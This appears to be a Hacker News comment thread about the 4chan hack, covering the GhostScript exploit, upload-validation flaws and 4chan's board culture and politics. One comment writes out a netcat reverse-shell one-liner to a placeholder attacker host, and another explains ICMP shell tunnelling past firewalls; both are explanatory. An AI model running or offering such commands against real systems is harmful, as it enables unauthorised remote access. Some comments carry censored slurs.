4chan Sharty Hack And Janitor Email Leak
609 comments
·April 15, 2025robotnikman
loves_mangoes
That checks out. Years ago I noticed a vulnerability through the photography board. You'd upload your pictures, and 4chan would display all the EXIF info next to the post.
4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users happy. And as you'd expect from a library that parses a bunch of horrible undocumented formats in C, it's a huge insecure mess.
Several heap overflows and arbitrary writes all over the place. Heap spray primitives. Lots of user controlled input since you provide your own JPEG. Everything you could want.
So I wrote a little PoC out of curiosity. Crafted a little 20kB JPG that would try to allocate several GBs worth of heap spray. I submit my post, and the server dutifully times out.
And that's where I'd like to say I finished my PoC and reported the vulnerability, but in fact I got stuck on a reliable ASLR bypass and lost interest (I did send an email about the library, but I don't think it was actively maintained and there was no followup)
My impression from this little adventure is that 4chan never really had the maintenance and code quality it needed. Everything still seemed to be the same very old PHP code that leaked years ago (which included this same call to the vulnerable EXIF library). Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
bigfatkitten
As far as I can tell, no real maintenance has happened since Poole sold the site a decade ago. Hiroyuki paid for it and then mostly forgot about it.
doublepg23
The current FreeBSD version the hacker displayed was from around the time of the sale so that tracks.
ryandrake
> Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
This describes probably 95%+ of the entire software world, from enterprise, to SaaS to IoT to mobile to desktop to embedded... Everything seems to be hastily thrown together features that barely work and piles of debt that will never get fixed. It's a wonder anything actually even works. If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
_DeadFred_
Forget cars, imagine if we treated government systems that millions of people's entire medical care/retirement/lives/national security/secrets/proof of existence depend upon this way? Luckily we treat those systems a little more seriously even though it costs us a little bit more/doesn't allow us to move fast and break things in that space.
SV_BubbleTime
>If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
I’m an automotive CE… we’re getting there.
Cars used to be DONE at lots… now, there are weeks to finish code before the customer lays hands on, and that time is factored in now.
Worse with OTA updates. Now, so long as it’s fixed if enough customers complain that’s good enough.
Cars used to be great. Then some morons connected them to the internet for no good reasons.
pglevy
I think about this daily.
lazystar
as someone who had to upgrade a stack from php 5.3 to 7.1 back in 2019... do you know what version of php they were running?
qingcharles
This is such a common hole. One of my early hacks was a forum that allowed you to upload a pfp but didn't check it was actually an image. Just upload an ASP file which is coded to provide an explorer-like interface. Found the administrator password in a text file. It was "internet" just like that. RDP was open. This was a hosting provider for 4000+ companies. Sent them an email. No thank you for that one.
Always check what is getting uploaded.
Arch-TK
Uploading ASP as an image and having it execute server side is one thing.
But in this case, it's subtly different.
This issue relies more on a quirk of how PDF and PostScript relate (PDF is built on a subset of postscript).
Imagine you had an image format which was just C which when compiled and ran produced the width, height, and then stream of RGB values to form an image. And you formalised this such that it had to have a specific structure so that if someone wanted to, they didn't have to write a C compiler, they could just pull out the key bits from this file which looks like ordinary C and produce the same result.
Now imagine that your website supports uploading such image files, and you need to render them to produce a thumbnail, but instead of using a minimal implementation of the standard which doesn't need to compile the code, you go ahead and just run gcc on it and run the output.
That's kind of more or less what happened here.
It's worth noting here that it's not really common knowledge that PDF is basically just a subset of postscript. So it's actually a bit less surprising that these guys fell for this, as it's as if C had become some weird language nobody talks about, and GCC became known as "that tool to wrangle that image format" rather than a general purpose C compiler.
The attackers in this case relied on some ghostscript exploits, that's true, but if you never ran the resulting C-image-format binaries, you could still get pwned through GCC exploits.
mkl
> it's not really common knowledge that PDF is basically just a subset of postscript.
Because that's not actually true? Check out the table in the PDF specification, Appendix A, p985, listing all the PDF operators and their totally different PostScript equivalents, when there are any: https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandard...
The PDF imaging model is mostly borrowed from PostScript, though PDF's imaging model also supports partial transparency. The actual files themselves are totally different.
In this case, no PDF files were involved at all, but a PostScript file renamed to .pdf, which was used to exploit an old insecure GhostScript's PostScript execution engine (PostScript is a programming language, unlike PDF) or maybe parser:
> According to S0I1337, it was done by exploiting a vulnerability on 4chan's outdated GhostScript version from 2012 by uploading a malformed PostScript file renamed to PDF to gain arbitrary code execution as 4chan didn't check if files with PDF extensions were actually PDF files -- https://wiki.soyjak.st/Great_Cuckset, see also the image in A_D_E_P_T's comment https://news.ycombinator.com/item?id=43699395
wnevets
> Ghostscript from 2012
Has there been a single year since 2012 that didn't include a new ghostscript RCE? Exposing ghostscript to the internet is dangerous.
skilbjo
pretty interesting discovery if that was the hack.
do you know what the legal implications are for this?
if the company that owns 4chan finds the identity of the attacker, could they sue him in civil court? or do they send whatever logs they have to the FBI and the FBI would initiate a criminal prosecution? also what is the criminal act here? is it accessing their systems, or is it posting the data that they found "through unauthorised means" on a public channel like twitter? does the "computer fraud and abuse act" apply?
like if you found this exploit, and sent it to the company in good faith (ie a "good hacker"), are you free from prosecution? and what is the grey area, like if you found this exploit and then just sat on it for a while (let's say you didn't report it to the company, but let's also say you didn't abuse it, ie leak private data to twitter)
null
lastcobbo
Bobby Tables can’t keep getting away with this
nailer
> Apparently some boards allowed uploading PDF files
Some boards used to allow PDF files to upload too.
xattt
> could give the attacker shell access.
How do these exploits work? Does it open an SSH port somewhere or does it show up as a browser-based terminal?
nwallin
Usually the attacker, on their own computer, or some other server they have root on, will open a port and expose it to the internet and listen. The exploit payload will then make an outbound connection to that port. Once it's connected, the exploit will give the attacker's computer shell access. Search terms include 'reverse shell'.
It takes the normal client/server architecture and turns it inside out. If you remember FTP and active vs passive, it works like active mode FTP.
That's just one way to do it. If the attacker wants to actually listen on an open port on a compromised server that's behind a firewall, look up 'NAT traversal' for like half a dozen ways to do it.
One interesting method to get a shell that I read about is (ab)using ICMP echo requests. ICMP echo requests can contain arbitrary bytes as a payload. So the exploit will poll the attacker's IP address with ICMP echo requests. The exploit will have data payloads that have the shell's output. The attacker's server will respond with ICMP echo requests that have whatever the attacker wants to type into the shell. It's kinda janky but it works. Lots of firewalls might block outbound UDP/TCP connections from internal servers that don't need to make outbound connections, or might whitelist the addresses they're allowed to connect to. But they won't block ICMP, either because it's considered harmless or they forgot or they didn't know it needs to be blocked separately with other rules.
The point is there's any number of ways to do it, each more clever than the last.
lbotos
https://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-ex...
Once you can run any command, you start passing in whatever commands you want.
thifhi
A shell's stdin and stdout can be redirected to a tcp socket which connects to the attacker. Here are some examples: https://www.invicti.com/learn/reverse-shell/
null
ryandrake
This is a great question, one I've always wondered. "Shell access" typically requires a terminal to, you know, type stuff in, right?
giantrobot
You can crate a reverse shell with just netcat. On your victim machine, where you can run a command but not necessarily listen on a port you can run something like:
nc attacker.ip 9000 | /bin/bash
The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to.
Note this a super simple demonstration of the concept.
Funes-
Reminds me of how people were crashing the PSP's XMB with BMP and TIFF files twenty years ago. I was just a kid, and began "pirating" every one of my classmates' consoles (some in exchange for a small amount of money). Good times.
profmonocle
When the first-gen iPhone was out there was a TIFF vulnerability so bad that you could jailbreak an iPhone just by visiting a specific web site. I remember going to Best Buy and seeing all of the display phones had been jailbroken. (It was easy to tell - this was before the App Store, so having extra app icons on the home screen wasn't normal.)
This was a user-empowering application of the vulnerability. Obviously, a bug that allows root-level arbitrary code execution just by getting the user to load a single image could be used for some pretty bad stuff. (And perhaps was.)
kfarr
More recently there was an iOS 0-day GIF exploit requiring no user interaction: https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-i...
GlumWoodpecker
The `Memory Pit` exploit for the Nintendo DSi works in a similar way - it exploits a buffer overflow in the reading of image meta data by the Nintendo DSi Camera application in order to achieve arbitrary code execution.
Red_Tarsius
I feel too many people conflate /pol/ with the whole website. I enjoyed browsing through sfw boards like /tg/ (tabletop media), /ck/ (cooking) and /fit/ (fitness). I had long discussions about the SW sequels on /tv/ back in 2015-19. The readership was surprisingly diverse and the anonymity lead users to provide more focused replies. With bodybuilding.com gone, the blue boards felt like the last bastion of the old internet.
sgarland
> bodybuilding.com
Obligatory post about the dumbest argument to ever be had online [0]. It’s so good, the Wikipedia entry [1] has a section devoted to it.
[0]: https://web.archive.org/web/20240123134202/https://forum.bod...
cwmma
For the record this is an example of the "Fencepost error" where the last item in a range gets double counted as the first item in the next range and is incredibly common in dyscalculia (the math version of dyslexia) as people will have "visual number lines" in their head that cover ranges of numbers but the ends get double counted, so there will be a 10-20 number line then a 20-30 number line.
I suspect TheJosh had something like that with the week where he visualized it with Sundays at both ends but lacked the self awareness to realize that this was not a universal representation.
helaoban
Can we pause and admire the sheer contagiousness of the debate? We are now extending it to the meta-realm, discussing the possible mental states that led to one or more of the original participants adopting certain lines of reasoning...
ethbr1
As the quip goes, there are two hard problems in computer science: cache invalidation, naming things, and off-by-one errors.
Izkata
I'm not sure about the "fencepost error" part, but he's thinking of days as durations rather than points. It's early in the thread, about halfway down the first page:
> You don't start counting on sunday, it hasn't been a day yet, you don't start counting til monday. You can't count the day that it is, did you never take basic elementrary math?
Put in other terms, TheJosh uses "Sun - Sun" as inclusive start and exclusive end, while Justin-27 uses "Sun - Sat" as inclusive start and inclusive end.
I think TheJosh mixed things up when trying to explain it (durations vs inclusive/exclusive), so doubles down and comes up with weirder stuff later in the thread. I didn't read the whole thing though, stopped near the bottom of the first page.
sensanaty
My personal favorite rendition of this: https://www.youtube.com/watch?v=JqylqmDl0Mw (Mega64 - Flame War Theater - "Full Body Workout Every Other Day?")
ethbr1
I had to watch that at 2x to keep the thoughts-per-second above catatonic.
In the same vein, for those who haven't seen it, the classic "Is soup a drink?" debate: https://m.youtube.com/watch?v=IDNuz_VFJtU
Somewhere, there are ancient Greek rhetoric teachers spinning in their graves.
sgarland
This is amazing, thank you.
butterlettuce
If a woman ever asks what men’s locker room talk is like, just show them that post. We really are a simple bunch.
mrguyorama
I'm always confused when shitty men insist that saying outright misogynist things and even rape jokes is "just locker room talk", like, nope, no, our locker rooms in high school did NOT have those happen. That kind of womanizer talk would out you as immensely insecure and a braggadocios loser.
Lots of dick helicopters though.
ren_engineer
lol that was a bait thread, this is the same place that had a discussion on whether a pitbull could defeat the Sun if it snuck up on it at night
wcfields
Do you have a link or reference to this? I'm going to be thinking about this for weeks now.
blackhaj7
Laughing my head off reading through this. Thank you
justinator
That IS dumb -- everyone knows there are 8 days in a week. Sunday to Sunday -- you can count it on your hands!
andrelaszlo
Well, the thing is that if it's Sunday you can't know if it's the Sunday at the end of the week or the Sunday at the beginning of the week. Therefore, each Sunday is in two weeks and should be counted twice, 8 + 2 = 10 days in a week. Don't feel bad, a lot of people miss this.
wolrah
> Obligatory post about the dumbest argument to ever be had online
Jon Bois did an amazing video about this one: https://www.youtube.com/watch?v=eECjjLNAOd4
throwaway2037
I never saw this before. Thank you to share. Truly, this is peak Interwebs.
codexon
> I feel too many people conflate /pol/ with the whole website.
Because it is the 2nd most active category, and the racist/alt-right beliefs have spread to the other boards because the head admin fires anyone that tries to moderate it.
https://www.vice.com/en/article/the-man-who-helped-turn-4cha...
On top of that, they actively delete and ban posts that go against alt-right.
I discussed it somewhat recently here: https://news.ycombinator.com/item?id=42276865#42283887
FiniteField
All of this sentiment is many years out of date. "Alt-right" hasn't been a term of self-identification for almost a decade, and hasn't been used as an identifier by pretty much anyone for at least half of that. /pol/ is not the epicentre of the radical online right and has not been for years - it's a backwater in that regard now.
The most notable radicalisation happening on /pol/ nowadays, in my opinion, is a kind of hyper-masculine third-worldist ideology that is anti-semitic in its foundation and deeply misogynistic. While those two traits might sound superficially similar to the 2015 "Alt right", this new ideology has a significant pro-Islamist tendency, and has an almost comprehensive disdain for the west and its ways of life, in favour of authoritarian regimes like like Russia, Iran, and China. Also, as is being corroborated by other online circles like the Nick Fuentes "Groyper" movement, this faction of the online far-right is an increasingly post-racial one, with more traditionally white supremacist views disappearing, to be filled in by antisemitism.
Personally, I think this cultural political shift in the imageboard represents the increased representation of developing countries online, and is an important case study in how quickly cultural foundations can shift inside the borderless land of the internet.
codexon
I don't think it is out of date at all.
Anti-jewish content was there 10 years ago as well. The board is full of white supremacist posts when I checked yesterday with lots of threads complaining about non-white races. There's absolutely no indication that it has been overtaken by developing countries.
Just because they changed their name to "groyper" doesn't mean they aren't alt-right anymore.
As for support for authoritarian regimes like russia, it is obvious that they are running propaganda on the website and want to sow division in the US by encouraging fringe groups like these.
tomlockwood
Interesting input, thanks for sharing!
kypro
I like /pol/ and although I'm not really interested in defending it (I 100% understand why people don't like it) I will give my opinion of it because I think most people don't get it and take the board wayy too seriously.
/pol/ isn't trying to be like the millions of other politic discussion forums online. It's literally intended to be politically outrageous so when people like yourself complain that it's full of outrageous alt-right content you're typically missing the point.
It's full of things that appear to be alt-right because stuff like racism, sexism and transphobia is extremely politically incorrect. While far-left views might be equally reprehensible, these views are not seen as equally politically incorrect. It's actually quite hard to hold politically incorrect far-left views unless you incorporate some far-right views – being so pro-trans that you hate biological women or something stupid. This is why you tend to see less left-wing content there. It's hard to be offensive and left-wing.**
But even then I think it's wrong to say /pol/ is full of alt-right content to be honest. There are alt-right people there for sure, but huge amount of the political memes posted on /pol/ are mocking the alt-right and the right more broadly. The board is constantly roasting the MAGA movement, for example.
As a brit my favourite threads on /pol/ are the brit/pol/ threads which basically just post politically incorrect memes mocking Brits and joking about how shit the UK is. These threads largely just Brits shitposting with each other and it would be wrong to assume the existence of hateful anti-British content on /pol/ is somehow evidence that /pol/ is xenophobic against Brits. People should take a similar views of the racist/alt-right threads – the vast majority of people there are just trolling and being offensive for a laugh. You don't have to like the humour, but most of it is just people shit posting.
> they actively delete and ban posts that go against alt-right.
Loads of stuff gets removed... If you're posting content that "goes against the alt-right" you're probably taking the board way way to seriously and you probably should be banned.
** Interestingly another commenter in the thread asked about why there's so much interracial porn on /pol/ if it's so racist, which kinda highlights my point here. Just hating white people isn't politically incorrect – there's people doing that all over Reddit. To make hating white people offensive you basically have to incorporate racist stereotypes about about how whites are genetically inferrer to blacks in various way, but then in doing this you'll get viewed as racist and alt-right because you're using racial stereotypes about how blacks are more athletic, etc.
If you're up for it I challenge you to be politically incorrect from a left-wing perspective without it being possible to argue that it's actually far-right.
ultimafan
There's little doubt in my mind that for every person on websites like /pol/ that's taking the piss with subversive "be as offensive/absurd to the status quo as you can" style of humor there's at least one other person that's internalized those kinds of views as a genuine belief system.
I don't browse 4chan anymore though I did used to (a lot) years ago. Take what I say as anecdotal evidence but I used to chat with a group of people I met through a former friend that seemed to start with a similar mindset to the one you have and then went down the pipeline over a few years of unironically espousing the most absurd abhorrent kind of thoughts you'd see on /pol/ and feeling 100% justified in doing so. They had gotten so used to seeing and interacting with such content day in and day out that it became normalized for them and they started to think that such a large forum existing with people saying similar things validated the way they began to think and act.
I think my main takeaway for sites like /pol/ is that you can't really pretend to act one way for humor for extended periods of time without it rubbing off on you in one way or another and that there are too many young people out there that stumble upon places like that and adopt those views since they lack the world experience yet to have formed their own.
denkmoon
As confucius famously said, any community that gets its kicks out of pretending to be idiots will soon be filled with real idiots who think they are in good company.
A lot of it is ironic, but a lot less than it used to be.
codexon
> I will give my opinion of it because I think most people don't get it and take the board wayy too seriously.
I don't take the board seriously.
The posts I made that got deleted for being "off topic" were mocking the alt-right and I just wanted to get a reaction out of people rather than trying to sway anyone. I know I'm not going to convince anyone and I'm not trying to get anyone elected.
So when I see my posts get deleted or I even get banned for being "off topic" while a post on the same topic with an alt-right bent stays up with 300 replies,it's a clear indication that 4chan has a strong political bias and is absolutely not free speech anymore as most people seem to think it is.
WickyNilliams
The intent of the posters may be ironic subversion. But for those reading? There's no doubt some portion that mistake it for sincerity and are quietly being radicalised by it all. Poe's Law and all that
01HNNWZ0MV43FF
"you're typically missing the point."
You too buddy
optimalsolver
Why do they allow so much interracial porn spam, and how does that fit into your view of the mods being alt-right racists?
codexon
interracial porn is frequently used by the alt-right racists to point out the evils of "race mixing" and to blame jews for being the producers of it. It is not an anti alt-right point at all.
Even if its posted by someone that is against the alt-right, it becomes a post to unify alt-right users.
null
creatonez
I'm sorry, what? The 4chan community is racially tolerant because they post porn of all varieties and not just a few?
sanswork
You can still be attracted to someone even if you think you are genetically superior. Or you can get off on interracial power dynamics. Lots of reasons.
Go look of descendants of American slaves who do DNA tests only to find out they have European ancestry.
torginus
It's interesting to note the popularity of the website, and the massive traffic it handled, despite the lack of everything we assume necessary for a modern (social media) website
- no modern web frameworks
- no microservices/kubernetes clusters
- no algorithmic curation/moderation/recommendation algoritmhs
One wonders just how much of the modern engineering developed in the past decades, that cost a fortune to develop and run is actually necessary or even beneficial for running a modern social media website
potato3732842
I worked for a major internet company until 2020. HN would be aghast how much "if we failed to provide this service a good chunk of the internet would either go down or sites wouldn't function properly and the stock market probably would dip" stuff runs on redundant pairs of LAMP stacks and other unsophisticated old stuff HN would turn up its nose at.
TZubiri
"Redundant pair of LAMP stacks"
Damn you got two of those? That's advanced magic
conradfr
Should have had updated dependencies though.
rcpt
otoh the entire site is no longer running because they fell behind on updates
MattDemers
I think people also don't acknowledge how much terminology, slang and other culture originate and spread there. When it breaches into Twitter (usually through funposters) people kind of ignore the unsavoury origin and rewrite the history. The anonymous nature kind of provides that petri dish of "if it's strong culture, it'll survive or be modified."
el_cujo
I think this was true at one point but not for the past 5-10 years. Based off of using the site I feel like now a lot of things start on other sites (particularly smaller accounts on twitter), get aggregated and popularized on 4chan, and then get picked up on other sites (often regurgitated back to twitter). Knowyourmeme shows this for a lot of things that people typically attribute as original to 4chan. There was definitely a time when a ton of stuff originated on 4chan but these days everything is so interconnected with the same people posting on twitter, reddit, and 4chan that I think 4chan gets a lot of unearned credit
hotfist
This absolutely was the case for a long time. It was the cultural center of the internet where nearly all memes sprang from or gained traction and context before leaving orbit for the greater internet.
That has not been the case for years though. I'd say it shifted to twitter as things shifted to inseparably political on almost all of 4chan maybe 6-8 years back and then shifted away from twitter a while after elon bought it and a lot of people started to bail. and I honestly don't know where exactly it's shifted to now, but I'd have to guess tiktok and similar new platforms.
But regardless I do think 4chan has lost nearly all of it's cultural influence, but still maintains it's notoriety.
packetlost
I think it's less the case now, but 4chan is absolutely still the source of new slang. It's just less concentrated on that one platform these days.
giancarlostoro
Don't forget the slurs. They have some unique slurs in there that have backstories too.
thih9
> how much terminology, slang and other culture originate and spread there
Could you give some examples? The more unexpected, the better.
Preferably with sources, because tracing word origin is difficult enough on its own.
dmonitor
Wiktionary has a surprisingly robust list
boyesm
Moot lists some examples in this video:
fastglass
I feel too many people who don't conflate /pol/ with the whole website, as well as the others, don't know why /pol/ was created.
It was eventually a replacement for the /new/ board, where news of the arab spring first started, shortly before it was shut down. However, it was plagued with proto-pol behavior before anyone was bothering to complain about pol.
There was always these 'cells' of non /jp/ shitposters, if they weren't the OG shitposters themselves, that would post about left-right politics ad nauseum, and in the most hallmark unproductive ways. It was when trolling evolved from 'clever this and that' to shear brute forcing. It was the topic of the news that attracted these unsavor political actors into that place, which was for a short period of time, a great diverse place for collecting news.
This social phenomena and history could never be repeated enough, particularly since we might be finally ending the story of pol/4chan - which was more popular than 4chan itself.
Calinterman
I feel too many people who conflate /pol/ with the whole website are just regurgitating information they heard from other social media sites. The most popular boards, by far, since 2020 have been the video game and vtuber boards. With Video Game generals being the most popular board for the past five years outside of the occasional political season. You can check this on 4stats.
People who still complain about /pol/ look a little like people who would still complain about ebaumsworld: Completely out of touch individuals who equate everything to a tiny phenomena.
sleepybrett
sorry buddy, but it's the nazi bar analogy. Let one nazi into your bar the whole bar is a nazi bar.
I don't care if some other sub-board is all sunshines and happiness, it's a nazi forum because of all the nazis that are coddled there.
eqvinox
I always thought it's /b/ that people conflate with the whole website… (for the purpose of declaring it a cesspool)
… but then again I never looked at /pol/, maybe it's even worse than /b/?
_345
it is, and unfortunately from 2016 onwards it kind of outgrew the rest of the site like a tumorous growth until the whole site became markedly more neonazi and less goofy. something to do with donald trump i suspected
eqvinox
Good to know. My opinion of 4chan was formed 2010-ish, I guess I should, er, update it.
api
I've heard multiple times about a bit of lore that holds that 4chan once tried to brigade Stormfront, causing Stormfront to brigade back, and that was how the cross pollination occurred and started turning 4chan fascist.
No idea if this is true but it sounds plausible.
busterarm
the fash trend on /pol/ died somewhere around 2018 and has shifted significantly radleft in the years since. This is misunderstood by outsiders largely because /pol/ users don't actually hold these opinions, they just will represent whatever is the edgiest opinion at any given time.
And despite things like shooting pharma executives in broad daylight being mainstream now, /pol/lacks rightly recognize that this is still edgy upon edgy upon edgy. And thus they meme the shit out of it.
ren_engineer
/g/ was the origin of Chain of Thought for AI, also where llama weights were first leaked
canjobear
> /g/ was the origin of Chain of Thought for AI
Is this documented?
bigfatkitten
Even /b/ was pretty good back in the day. Memes and inside jokes galore with almost no porn to be seen.
shipscode
The take on 4chan on here is super intriguing. I always felt that the current social media/doomscroll/memesharing landscape which has become so common worldwide is indiscernable and in some ways worse than 4chan. It feels like 4chan left it's homepage and went worldwide sometime in the early 2010s when iPhone-style phone use became more commonplace.
I remember that 4chan users had more honor than users on the internet today. One example would be 4Chan's "Not your personal army" mentality vs. the widespread doxxing/"call their place of employment!" witch hunts, driven by huge accounts on IG/Tiktok/etc, that hit normal people daily.
The modern social media landscape has become far more hectic, harmful, and downright scary than 4chan. Dodging explicit imagery is harder on Instagram's explore page than on 4chan, and the widespread popularization of OF creators has zero bounds across the socials. DOXXING is no longer frowned upon and now commonplace. And memes have become less unique and funny and more commoditized.
profmonocle
> 4Chan's "Not your personal army" mentality vs. the widespread doxxing/"call their place of employment!" witch hunts
That's too generous. "Not your personal army" started because 4chan had a well-earned reputation for harassment - usually raiding other web sites, but often targeting individual people who caught their attention for one reason or another.
The "not your personal army" slogan came about because people who were very aware of this reputation were showing up, hoping to make a web site or person they disliked the next target. That got annoying fast, hence they told those people to go away.
It wasn't a moral stance against target harassment - far from it. It was a stance that the group mind will choose the next target when they feel like it - not because some rando is mad at their ex or something
PixelForg
My main problem with 4chan is how they talk, like the language they use. They really don't care about anyone's feelings and show a lack of empathy. Unfortunately this has been spreading to other social media as well.
Imagine how good a place it could have been if people over there talked like people on HN.
amadeuspagel
"Not your personal army" goes father then not doxxing. It's a rejection of any attempt to imagine a community of strangers, united by hatred of a scapegoat.
shadowgovt
If someone rallied a hate-mob on 4chan, though, how would people know?
Since 4chan overtly resists it, it'd rapidly move off of there, but it's still a great place to find like-minded folks that'd follow someone to another server to go brigade someone.
Klonoar
4chan has always claimed to resist it, but 4chan was never immune to being shuffled a specific way.
bboygravity
So "not your personal army" == don't be a journalist?
anigbrowl
No it was a stock response to proposals for board/site raids from people who had lost an argument or been banned and wanted to retaliate (but without offering comedy potential). Kinda like when corporate people discovered flash mobs and tried to use them for free marketing.
foolfoolz
modern 4chan has a certain authentic charm to it. this is missing from most other places. you have to sift past loads of junk to get it, but you have to do that on any app to get the content you want.
with no names, likes, virality, accounts, etc there’s less focus on writing the basic filler comments. less companies trying to sell me stuff. less focus groups trying to tell me what to think. and with less censorship you end up seeing more creativity
KennyBlanken
Multiple white supremacist mass shooter have been 4chan users and they cheered on the Buffalo shooter who was live updating during his murder spree: https://www.thetrace.org/newsletter/4chan-moderation-buffalo...
The christchurch shooter was a 4chan regular https://theconversation.com/christchurch-terrorist-discussed...
The whole "boogaloo" white nationalist/supremacist movement started on 4chan:
https://www.splcenter.org/resources/reports/mcinnes-molyneux...
"Not your personal army" but 4chan users would routinely dox, swat, and otherwise harass people all the time.
I have no idea why people are whitewashing 4chan so hard.
gtirloni
Isn't that the path that most platforms follow once they get mildly popular?
selfselfgo
[dead]
CamelCaseName
If you lamented the disappearance of the "old internet", well, this was a part of it, and now it may be gone too.
The title is also a fair bit understated.
They're leaking the moderators home addresses and work contact info (for admins, who are(were?) paid moderators)
JKCalhoun
I think we can lament the old internet and still care nothing for 4chan.
idiotsecant
Like it or not, 4chan was a major hub of Internet culture. Especially early on some of the best stuff on the internet happened on 4chan (and a good chunk of the worst, of course)
vlovich123
4chan was founded in 2003. I think reasonable people probably disagree on what constitutes the “early” internet and this is where the argument is. Google had been around for 5 years by this point and I (and I suspect many others) remained blissfully unaware of 4chan for a long time after 2003.
wegfawefgawefg
Many of the popular internet terms start on 4chan, and then move to reddit and the rest of the internet, and then eventually mainstream news, and 65 year olds mouths. This process takes about 3-5 years.
esseph
It's so funny to read this.
I've been involved in "internet culture" since the early to mid 90s.
The only thing that I heard about that ever came out of 4chan was toxicity.
null
leemailll
early belongs to slashdot
ivan_gammel
Small pedantic correction: “major hub of Internet culture” is “major subculture in English-speaking segment of Internet” (American segment?). In many other languages it was irrelevant.
doublerabbit
Why? I am not pleased with the government forced pills such as TikTok, Twitter and other such shite shoved down my throat.
You may enjoy the walled garden, I for one don't. Such sites gave you a hole to get away from the dystopian view that these gardens hold.
They gave independence away from forced control.
ArinaS
> "shoved down my throat."
Who shoves it down someone's throat though? I can't remember the last time I used tiktok, probably 3 or 4 years ago, and I don't feel like anyone forces me to.
officeplant
It's incredibly easy to just not use those websites. My throat remains surprisingly clear with no effort.
Calinterman
You better believe 4chan is as much of a government space as those other social media sites are. Just because you don't have to give three forms of ID and a mobile phone number to post doesn't mean they're not involved.
It's an illusion, a very believable one in an internet where billionaires try to goad you to include your name and address with every thing you post. I don't see why people care so much about Doxxing when every social media company makes them do it for free.
mattlondon
I'd hardly call it the "old internet". It is very niche, and has not been around that long really - like what 2003 or something? Nothing compared to e.g. Geocities which was early-mid 90s IIRC which I'd argue had more relevance to people than 4chan.
dfxm12
"Old Internet" doesn't have a very defined meaning, but I think it has more to do with design and functionality than a hard date. While I don't think relevance matters, 4chan is much more relevant than you think. Having a niche is part of the old Internet. Websites used to be niche, but deep, instead of websites like Wikipedia, which are broad and shallow (compare the Castlevania dungeon [0] to the Wikipedia article for Castlevania, for example). Then compare 4chan's limited number of boards with reddit's endless subs. 4chan's design is early web 2.0, doesn't require you create an account, allows (pseudo) anonymous posting, content is mostly unfiltered, unmonetized, free & thought of as ephemeral, etc.
Klonoar
This is the dumbest nitpick, but:
> 4chan's design is early web 2.0
Web 2.0 (even early) was very JS heavy, coming down from the advent of Mootools/Prototype/etc and had a very specific visual design sense.
4chan is easily the last of the Web 1.0 sites, probably up there with Craigslist. They very much "just fucking work".
mattlondon
> 4chan's design is early web 2.0, doesn't require you create an account, allows (pseudo) anonymous posting, content is mostly unfiltered, unmonetized, free & thought of as ephemeral, etc.
That is hardly unique. There are any number of phpbb (and other) boards that allow mostly the same that were/are/will continue to be the same. The only difference is the clientele and noteriaty, but I'd argue 4chan is basically the same thing as somethingawful is/was in that regard. People act like 4chan was this ground-breaking thing but it was just one of many many similar boards.
Also for 4chan, you'd only go to 4chan to go to 4chan. People went to geocities and xoom and angelfire and all the other old internet things for niche website content from individuals, not because of the site that hosted it. It's like going to a bar to chat vs going to a library to study: going to the bar/4chan is an undeniable part of the culture, but let's not pretend it is anything significantly different amongst a constellation of other chat/forum sites (somethingawful, fark, ebaumsworld, discord, IRC etc etc etc)
gilbetron
"Pre Dot Com Bust" is a pretty good definition for "Old Internet".
davedx
Geocities was going strong in the late 90's too! My first homepage was hosted there on Tokyo Towers.
PhunkyPhil
Side note: When you google "Geocities" the results are in comic sans
MagicMoonlight
22 years is old. Nobody knows what geocities is, it has no relevance. It’s like talking about brands of telegraph wire.
crtasm
Geocities was the place to create and visit homepages for a large percentage of people using the internet in the 90s. You can see its influence in games such as Hypnospace Outlaw and modern hosts like Neocities.
johnnyjeans
It is not very niche at all. 4chan served a gigantic volume of traffic.
Andrex
Web 2.0 and before is now considered the old internet.
emptyfile
[dead]
pelagicAustral
Isn't it a running joke that the Jannies don't get paid?
aloha2436
I'm reliably informed they do it for free.
throw_m239339
> Isn't it a running joke that the Jannies don't get paid?
You're think about reddit and why it is the way it is from an editorial perspective and what kind of people have the time to mods 100+ subs for free...
But that ceased to be true long ago. While some of the supermods aren't paid by reddit directly, they might be paid by other orgs to mod and influence reddit, corporate or 'grass root'...
Some others simply hijack subs to sell their own products.
gnarlynarwhal42
Go back.
The joke on 4chins actually is that the Jannies do it for free. Never cared to fact check it, but it is a popular saying.
Also sage in all fields
pc86
What does Reddit have to do with this?
"Jannies" (janitors) are pseduo-mods on 4chan (the subject of the linked thread) who clean up posts and do other work, for free. Actual 4chan mods are paid.
imzadi
I grew up on IRC, had sites on Geocities and Angelfire. That was the old internet people miss, not 4chan.
happytoexplain
Was part of it. As somebody who has been trapped there since 2004, I'd say it evolved into a part of the normal internet between 2010 and 2016 (i.e. it had already fully transformed before Trump's first term), where "normal internet" means being infested with uncle-on-Facebook-tier political posts, "jokes" where the punchline is "I hate my political enemies", etc. Creative irreverence was replaced with regular childishness.
Mostly because, as more people came online, they mistook offensive humor for conservatism; and thought "counter-culture" meant "being opposed to the political party currently in power", rather than "being opposed to political parties".
h2zizzle
Considering that the people posting this "creative irreverence" were the same guys calling you a "stupid f*gg*t n*gger piece of sh*t" on Halo 2/3 and CS when they got noscoped from across the map or whatever, "It's just a joke" has always been somewhat suspect. It would be wrong to say that there was no element of tongue-in-cheek-iness and hyperbole, of course. It just wasn't completely innocent, broadly speaking.
Of course, in a post-Bioshock Infinite world, there's really no excuse for not grokking how time and distance from the origins of a cultural behavior pattern can warp even well-meaning notions that aren't regularly re-examined and tuned to align the intention with the zeitgeist. If the Sarah Silverman-esque posters ever looked up and realized, "Oh, they don't know it's a joke, they're ACTUALLY Nazis," it was too late to shift things back. (Unless you were in a Boondocks thread on /co/, in which case correction was freely forthcoming.)
Probably didn't help that at least one mod wanted 4chan to become more racist, on purpose.
pjc50
> mistook offensive humor for conservatism
Something happened in the post-2010 times along with the Tea Party, and offensive humor - especially overt racism - became a mainstream part of conservativism, all the way to the White House.
